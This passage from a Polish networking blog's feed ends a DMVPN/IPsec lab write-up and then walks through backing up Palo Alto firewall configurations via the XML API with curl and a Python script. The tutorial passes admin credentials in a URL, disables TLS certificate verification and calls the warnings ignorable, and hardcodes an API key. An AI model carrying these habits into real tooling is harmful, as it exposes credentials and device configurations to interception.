(k/sec): (4370183/3216)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><span style="color: #000000;"> spi: 0xD87AECE3(3631934691)</span><br /><span style="color: #000000;"> transform: esp-aes esp-sha-hmac ,</span><br /><span style="color: #000000;"> in use settings ={Transport, }</span><br /><span style="color: #000000;"> conn id: 16, flow_id: 16, sibling_flags 80004000, crypto map: Tunnel0-head-0</span><br /><span style="color: #000000;"> sa timing: remaining key lifetime (k/sec): (4608000/3218)</span><br /><span style="color: #000000;"> IV size: 16 bytes</span><br /><span style="color: #000000;"> replay detection support: Y</span><br /><span style="color: #000000;"> Status: ACTIVE(ACTIVE)</span><br /><br /><span style="color: #000000;">outbound ah sas:</span><br /><br /><span style="color: #000000;">outbound pcp sas:</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="18bc1c6" class="elementor-element elementor-element-18bc1c6 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="cb65ff2" class="elementor-element elementor-element-cb65ff2 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="8e75408" class="elementor-element elementor-element-8e75408 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Jak widać z wyników powyższych komend wszystkie tunele zestawiły się poprawnie.</span></p><p> </p></div>
				</div>
				</div>
				<div data-id="325aa58" class="elementor-element elementor-element-325aa58 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">WERYFIKACJA</span></h5><p style="text-align: justify;"><span style="color: #000000;">Sprawdźmy teraz co widać w wiresharku przy pingowaniu routera R3 (SPOKE-2) z routera R2 (SPOKE-1). </span></p><pre><span style="color: #000000;">SPOKE1#ping 172.22.10.3</span><br /><span style="color: #000000;">Type escape sequence to abort.</span><br /><span style="color: #000000;">Sending 5, 100-byte ICMP Echos to 172.22.10.3, timeout is 2 seconds:</span><br /><span style="color: #000000;">!!!!!</span><br /><span style="color: #000000;">Success rate is 100 percent (5/5), round-trip min/avg/max = 28/40/60 ms</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="2da996a" class="elementor-element elementor-element-2da996a elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="272c8d5" class="elementor-element elementor-element-272c8d5 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap">
					<div class="elementor-widget-wrap">
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="71ebfc5" class="elementor-element elementor-element-71ebfc5 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="c3add74" class="elementor-element elementor-element-c3add74 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="1995834" class="elementor-element elementor-element-1995834 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/wireshark_2.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-3" data-rl_title="" data-rl_caption="" title="">
							<img width="720" height="573" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/wireshark_2.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/wireshark_2.png 725w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/wireshark_2-300x239.png 300w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="f849e56" class="elementor-element elementor-element-f849e56 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="cc127c4" class="elementor-element elementor-element-cc127c4 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="fd3de14" class="elementor-element elementor-element-fd3de14 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5> </h5><h5><span style="color: #000000;">PODSUMOWANIE</span></h5><p style="text-align: justify;"><span style="color: #000000;">Jak widać zgodnie z teorią <a style="color: #000000;" href="https://kubsoo.github.io/rsnet-website/ipsec-vpn-teoria/">IPSEC</a> w wiresharku przy pingowaniu widzimy adresy 192.168.10.X (ponieważ skonfigurowaliśmy IPSEC w trybie transportowym), ponadto nie widzimy jaki ruch jest przesyłany. Widzimy tylko pakiety ESP które składają się z ESP SPI oraz numeru sekwencyjnego. DMVPN w połączeniu z IPSEC jest bardzo dobrą kombinacją do budowania skalowanych sieci VPN między oddziałami firmy, ponieważ przy dodawaniu nowego oddziału (SPOKE) dzięki zastosowaniu DMVPN nie musimy nic konfigurować na naszym HUBie i taki nowy oddział po skonfigurowaniu będzie miał łączność pomiędzy innymi oddziałami a IPSEC pozwoli dodatkowo zabezpieczyć transmisję.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/dmvpn-faza-1-konfiguracja-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Palo Alto API backup konfiguracji &#8211; Python skrypt</title>
		<link>https://kubsoo.github.io/rsnet-website/palo-alto-api-backup-konfiguracji-python-skrypt/</link>
		<comments>https://kubsoo.github.io/rsnet-website/palo-alto-api-backup-konfiguracji-python-skrypt/#respond</comments>
		<pubDate>Thu, 28 Dec 2017 19:45:32 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[palo alto]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[skrypt]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=998</guid>
		<description><![CDATA[Korzystając z API możemy na firewallach Palo Alto wykonywać komendy przez przeglądarkę jednym zapytaniem bez konieczności otwierania interfejsu do zarządzania i klikania po menu.     PRZYKŁAD Do celów demonstracji&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[		<div class="elementor elementor-998">
			<div class="elementor-inner">
				<div class="elementor-section-wrap">
							<section data-id="b4f5b76" class="elementor-element elementor-element-b4f5b76 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="e876d39" class="elementor-element elementor-element-e876d39 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="93d42a5" class="elementor-element elementor-element-93d42a5 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Korzystając z API możemy na firewallach Palo Alto wykonywać komendy przez przeglądarkę jednym zapytaniem bez konieczności otwierania interfejsu do zarządzania i klikania po menu.</span></p><p style="text-align: justify;"><span style="color: #000000;"> </span></p><p> </p><h5><span style="color: #000000;">PRZYKŁAD</span></h5><p style="text-align: justify;"><span style="color: #000000;">Do celów demonstracji możliwości API na Palo Alto posłużyłem się topologią zbudowaną z GNS3 składającą się z 3 firewalli, switcha oraz dwóch maszyn wirtualnych (gns3-webterm &#8211; do dostepu do API przez przeglądarkę, oraz NetworkAutomation &#8211; maszyna z pythonem na której będziemy pisać skrypt).</span></p><p><strong><span style="color: #000000;">TOPOLOGIA</span></strong></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="c4f19c4" class="elementor-element elementor-element-c4f19c4 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="d5954f2" class="elementor-element elementor-element-d5954f2 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="fbbda61" class="elementor-element elementor-element-fbbda61 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/topology_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title="">
							<img width="605" height="452" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/topology_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/topology_1.png 605w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2018/01/topology_1-300x224.png 300w" sizes="(max-width: 605px) 100vw, 605px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="b322071" class="elementor-element elementor-element-b322071 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="e50c5f5" class="elementor-element elementor-element-e50c5f5 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="a0120da" class="elementor-element elementor-element-a0120da elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5><span style="color: #000000;">API</span></h5><p style="text-align: justify;"><span style="color: #000000;">W celu dostępu do API musimy wygenerować klucz API, który będzie wykorzystywany do zapytań do API. Klucz jest generowany z użytkownika i hasła, więc jeśli posiadamy kilka firewalli i na każdym z nich mamy tego samego usera i hasło to klucz będzie taki sam dla każdego urządzenia.</span></p><p><span style="color: #000000;">Do generacji klucza służy następujące zapytanie:</span></p><pre><strong><span style="color: #000000;">https://firewall_ip/api/?type=keygen&amp;user=username&amp;password=password</span></strong></pre><p style="text-align: justify;"><span style="color: #000000;">Sprawdźmy jak to wygląda na żywo. W tym celu wchodzimy do gns3-webterm i wpisujemy w przeglądarce podany URL zamieniając firewall_ip na jeden z adresów IP firewalli oraz wpisując poprawny login i hasło:</span></p><pre><strong><span style="color: #000000;">https://192.168.0.201/api/?type=keygen&amp;user=admin&amp;password=admin</span></strong></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="ef99376" class="elementor-element elementor-element-ef99376 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="46d5900" class="elementor-element elementor-element-46d5900 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="0334c79" class="elementor-element elementor-element-0334c79 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/key.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-1" data-rl_title="" data-rl_caption="" title="">
							<img width="720" height="272" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/key.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/key.png 925w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/key-300x113.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/key-768x290.png 768w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="8423225" class="elementor-element elementor-element-8423225 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="d7567a9" class="elementor-element elementor-element-d7567a9 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="1c80ac7" class="elementor-element elementor-element-1c80ac7 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Jak widać z powyższego screena dostaliśmy w odpowiedzi plik XML, który zawiera klucz postaci:</span></p><pre><strong><em><span style="color: #000000;">LUFRPT14MW5xOEo1R09KVlBZNnpnemh0VHRBOWl6TGM9bXcwM3JHUGVhRlNiY0dCR0srNERUQT09</span></em></strong></pre><p style="text-align: justify;"><span style="color: #000000;">To samo możemy uzyskać na maszynie NetworkAutomation korzystając z programu curl i komendy:</span></p><pre><strong><span style="color: #000000;">root@NetworkAutomation-1:~# curl -X GET 'https://192.168.0.201/api/?type=keygen&amp;user=admin&amp;password=admin' --insecure</span></strong><br /><br /><span style="color: #000000;">&lt;response status = 'success'&gt;&lt;result&gt;&lt;key&gt;<strong>LUFRPT14MW5xOEo1R09KVlBZNnpnemh0VHRBOWl6TGM9bXcwM3JHUGVhRlNiY0dCR0srNERUQT09</strong>&lt;/key&gt;&lt;/result&gt;&lt;/response&gt;</span></pre><p style="text-align: justify;"><span style="color: #000000;">Po otrzymaniu klucza możemy wykonać jakąś komendę przez API. Listę komend i składnię zapytań możemy znaleźć wpisując w przeglądarce https://firewall_ip/api</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="da390d6" class="elementor-element elementor-element-da390d6 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="6b697e5" class="elementor-element elementor-element-6b697e5 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="bd09749" class="elementor-element elementor-element-bd09749 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/api.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-2" data-rl_title="" data-rl_caption="" title="">
							<img width="420" height="406" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/api.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/api.png 420w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/api-300x290.png 300w" sizes="(max-width: 420px) 100vw, 420px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="477fe4a" class="elementor-element elementor-element-477fe4a elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="26f5cf7" class="elementor-element elementor-element-26f5cf7 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="74d6cd6" class="elementor-element elementor-element-74d6cd6 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p><span style="color: #000000;">Do eksportu konfiguracji służy zapytanie postaci:</span></p><pre><span style="color: #000000;"><strong>https://firewall_ip/api/?type=export&amp;category=configuration&amp;key=&lt;key&gt;</strong></span></pre><p style="text-align: justify;"><span style="color: #000000;">gdzie &lt;key&gt; to klucz otrzymany z wcześniejszej komendy. Całe zapytanie wygląda więc następująco:</span></p><pre><strong><span style="color: #000000;">https://192.168.0.201/api/?type=export&amp;category=configuration&amp;key=LUFRPT14MW5xOEo1R09KVlBZNnpnemh0VHRBOWl6TGM9bXcwM3JHUGVhRlNiY0dCR0srNERUQT09</span></strong></pre><div><span style="color: #000000;">W odpowiedzi dostaniemy plik xml z konfiguracją:</span></div></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="bddc825" class="elementor-element elementor-element-bddc825 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="22b08fb" class="elementor-element elementor-element-22b08fb elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="71a647a" class="elementor-element elementor-element-71a647a elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/api_1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-3" data-rl_title="" data-rl_caption="" title="">
							<img width="592" height="564" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/api_1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/api_1.png 592w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/api_1-300x286.png 300w" sizes="(max-width: 592px) 100vw, 592px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="1266fa3" class="elementor-element elementor-element-1266fa3 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="99e7162" class="elementor-element elementor-element-99e7162 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="d49c11c" class="elementor-element elementor-element-d49c11c elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Spróbujmy teraz to samo uzyskać korzystając z curl&#8217;a:</span></p><pre><strong><span style="color: #000000;">root@NetworkAutomation-1:~# curl -X GET 'https://192.168.0.201/api/?type=export&amp;category=configuration&amp;key=LUFRPT14MW5xOEo1R09KVlBZNnpnemh0VHRBOWl6TGM9bXcwM3JHUGVhRlNiY0dCR0srNERUQT09' --insecure</span></strong></pre><pre><span style="color: #000000;">&lt;config version="7.1.0" urldb="paloaltonetworks"&gt;&lt;mgt-config&gt;&lt;users&gt;&lt;entry name="admin"&gt;&lt;phash&gt;fnRL/G5lXVMug&lt;/phash&gt;&lt;permissions&gt;&lt;role-based&gt;&lt;superuser&gt;yes&lt;/superuser&gt;&lt;/role-based&gt;&lt;/permissions&gt;&lt;/entry&gt;&lt;/users&gt;&lt;/mgt-config&gt;&lt;shared&gt;&lt;application/&gt;&lt;application-group/&gt;&lt;service/&gt;&lt;service-group/&gt;&lt;botnet&gt;&lt;configuration&gt;&lt;http&gt;&lt;dynamic-dns&gt;&lt;enabled&gt;yes&lt;/enabled&gt;&lt;threshold&gt;5&lt;/threshold&gt;&lt;/dynamic-dns&gt;&lt;malware-sites&gt;&lt;enabled&gt;yes&lt;/enabled&gt;&lt;threshold&gt;5&lt;/threshold&gt;&lt;/malware-sites&gt;&lt;recent-domains&gt;&lt;enabled&gt;yes&lt;/enabled&gt;&lt;threshold&gt;5&lt;/threshold&gt;&lt;/recent-domains&gt;&lt;ip-domains&gt;&lt;enabled&gt;yes&lt;/enabled&gt;&lt;threshold&gt;10&lt;/threshold&gt;&lt;/ip-domains&gt;&lt;executables-from-unknown-sites&gt;&lt;enabled&gt;yes&lt;/enabled&gt;&lt;threshold&gt;5&lt;/threshold&gt;&lt;/executables-from-unknown-sites&gt;&lt;/http&gt;&lt;other-applications&gt;&lt;irc&gt;yes&lt;/irc&gt;&lt;/other-applications&gt;&lt;unknown-applications&gt;&lt;unknown-tcp&gt;&lt;destinations-per-hour&gt;10&lt;/destinations-per-hour&gt;&lt;sessions-per-hour&gt;10&lt;/sessions-per-hour&gt;&lt;session-length&gt;&lt;maximum-bytes&gt;100&lt;/maximum-bytes&gt;&lt;minimum-bytes&gt;50&lt;/minimum-bytes&gt;&lt;/session-length&gt;&lt;/unknown-tcp&gt;&lt;unknown-udp&gt;&lt;destinations-per-hour&gt;10&lt;/destinations-per-hour&gt;&lt;sessions-per-hour&gt;10&lt;/sessions-per-hour&gt;&lt;session-length&gt;&lt;maximum-bytes&gt;100&lt;/maximum-bytes&gt;&lt;minimum-bytes&gt;50&lt;/minimum-bytes&gt;&lt;/session-length&gt;&lt;/unknown-udp&gt;&lt;/unknown-applications&gt;&lt;/configuration&gt; ........</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="5fc70e6" class="elementor-element elementor-element-5fc70e6 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="d958656" class="elementor-element elementor-element-d958656 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="aa607b2" class="elementor-element elementor-element-aa607b2 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Widzimy, że otrzymaliśmy ten sam plik xml. Teraz możemy spróbować napisać skrypt, który wykona tą operację za nas i zapisze taki plik na dysk, dla każdego z firewalli.</span></p><h5> </h5><h5><span style="color: #000000;">SKRYPT</span></h5></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="fed1942" class="elementor-element elementor-element-fed1942 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="296c5ed" class="elementor-element elementor-element-296c5ed elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="6e95d2c" class="elementor-element elementor-element-6e95d2c elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Skrypt jest bardzo prosty i wygląda nastepująco:</span></p><p><strong><span style="color: #000000;">backup_config.py</span></strong></p><pre><span style="color: #000000;">#!/usr/bin/python</span><br /><br /><span style="color: #000000;">import requests, datetime</span><br /><span style="color: #000000;">from lxml import etree</span><br /><br /><span style="color: #000000;">firewalls_ip = [</span><br /><span style="color: #000000;"> '192.168.0.201',</span><br /><span style="color: #000000;"> '192.168.0.202',</span><br /><span style="color: #000000;"> '192.168.0.203'</span><br /><span style="color: #000000;">]</span><br /><br /><span style="color: #000000;">date_1 = datetime.datetime.now().strftime("%Y-%m-%d_%H:%M")</span><br /><span style="color: #000000;">key = 'LUFRPT14MW5xOEo1R09KVlBZNnpnemh0VHRBOWl6TGM9bXcwM3JHUGVhRlNiY0dCR0srNERUQT09'</span><br /><br /><span style="color: #000000;">params = (</span><br /><span style="color: #000000;"> ('type', 'export'),</span><br /><span style="color: #000000;"> ('category', 'configuration'),</span><br /><span style="color: #000000;"> ('key', key),</span><br /><span style="color: #000000;">)</span><br /><br /><span style="color: #000000;">for hostname in firewalls_ip:</span><br /><span style="color: #000000;"> print "Saving config for : %s" %hostname</span><br /><span style="color: #000000;"> url = "https://"+hostname+"/api/"</span><br /><span style="color: #000000;"> response = requests.get(url, params=params, verify=False)</span><br /><span style="color: #000000;"> xml_str = response.text</span><br /><span style="color: #000000;"> root = etree.fromstring(xml_str)</span><br /><br /><span style="color: #000000;"> filename = "running-config-"+hostname+"-"+date_1+".xml"</span><br /><span style="color: #000000;"> file = open(filename,"w")</span><br /><span style="color: #000000;"> file.write("""<!--?xml version="1.0"?-->\n""")</span><br /><span style="color: #000000;"> file.write(etree.tostring(root, pretty_print=True))</span><br /><span style="color: #000000;"> file.close()</span></pre><p style="text-align: justify;"><span style="color: #000000;">Sprawdźmy jego działanie w praktyce:</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="e7c6fc3" class="elementor-element elementor-element-e7c6fc3 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="1beea1b" class="elementor-element elementor-element-1beea1b elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="b0baaf8" class="elementor-element elementor-element-b0baaf8 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><pre><strong><span style="color: #000000;">root@NetworkAutomation-1:~# ./backup_config.py</span></strong><br /><span style="color: #000000;">Saving config for : 192.168.0.201</span><br /><span style="color: #000000;">/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings</span><br /><span style="color: #000000;"> InsecureRequestWarning)</span><br /><span style="color: #000000;">Saving config for : 192.168.0.202</span><br /><span style="color: #000000;">/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings</span><br /><span style="color: #000000;"> InsecureRequestWarning)</span><br /><span style="color: #000000;">Saving config for : 192.168.0.203</span><br /><span style="color: #000000;">/usr/local/lib/python2.7/dist-packages/urllib3/connectionpool.py:858: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings</span><br /><span style="color: #000000;"> InsecureRequestWarning)</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="e5b9742" class="elementor-element elementor-element-e5b9742 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="d779413" class="elementor-element elementor-element-d779413 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="c630b88" class="elementor-element elementor-element-c630b88 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Skrypt wykonał się z ostrzeżeniami, ale możemy je zignorować. Pojawiły się one, ponieważ wszystkie urządzenia posiadają domyślne certyfikaty, które nie są zaufane.</span></p><p style="text-align: justify;"><span style="color: #000000;">Sprawdźmy teraz jak wygląda katalog w którym jest skrypt:</span></p><pre><span style="color: #000000;">-rwxr-xr-x 1 root root 809 Dec 28 19:36 <strong>backup_config.py</strong></span><br /><span style="color: #000000;">-rw-r--r-- 1 root root 9161 Dec 28 19:36 running-config-192.168.0.201-2017-12-28_19:36.xml</span><br /><span style="color: #000000;">-rw-r--r-- 1 root root 9161 Dec 28 19:36 running-config-192.168.0.202-2018-12-28_19:36.xml</span><br /><span style="color: #000000;">-rw-r--r-- 1 root root 9161 Dec 28 19:36 running-config-192.168.0.203-2018-12-28_19:36.xml</span></pre><p style="text-align: justify;"><span style="color: #000000;">Widać, że stworzone zostały trzy pliki zgodnie z oczekiwaniami dla każdego z firewalli. Otwórzmy teraz jeden z nich i zobaczmy jak wygląda:</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="de8fae7" class="elementor-element elementor-element-de8fae7 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
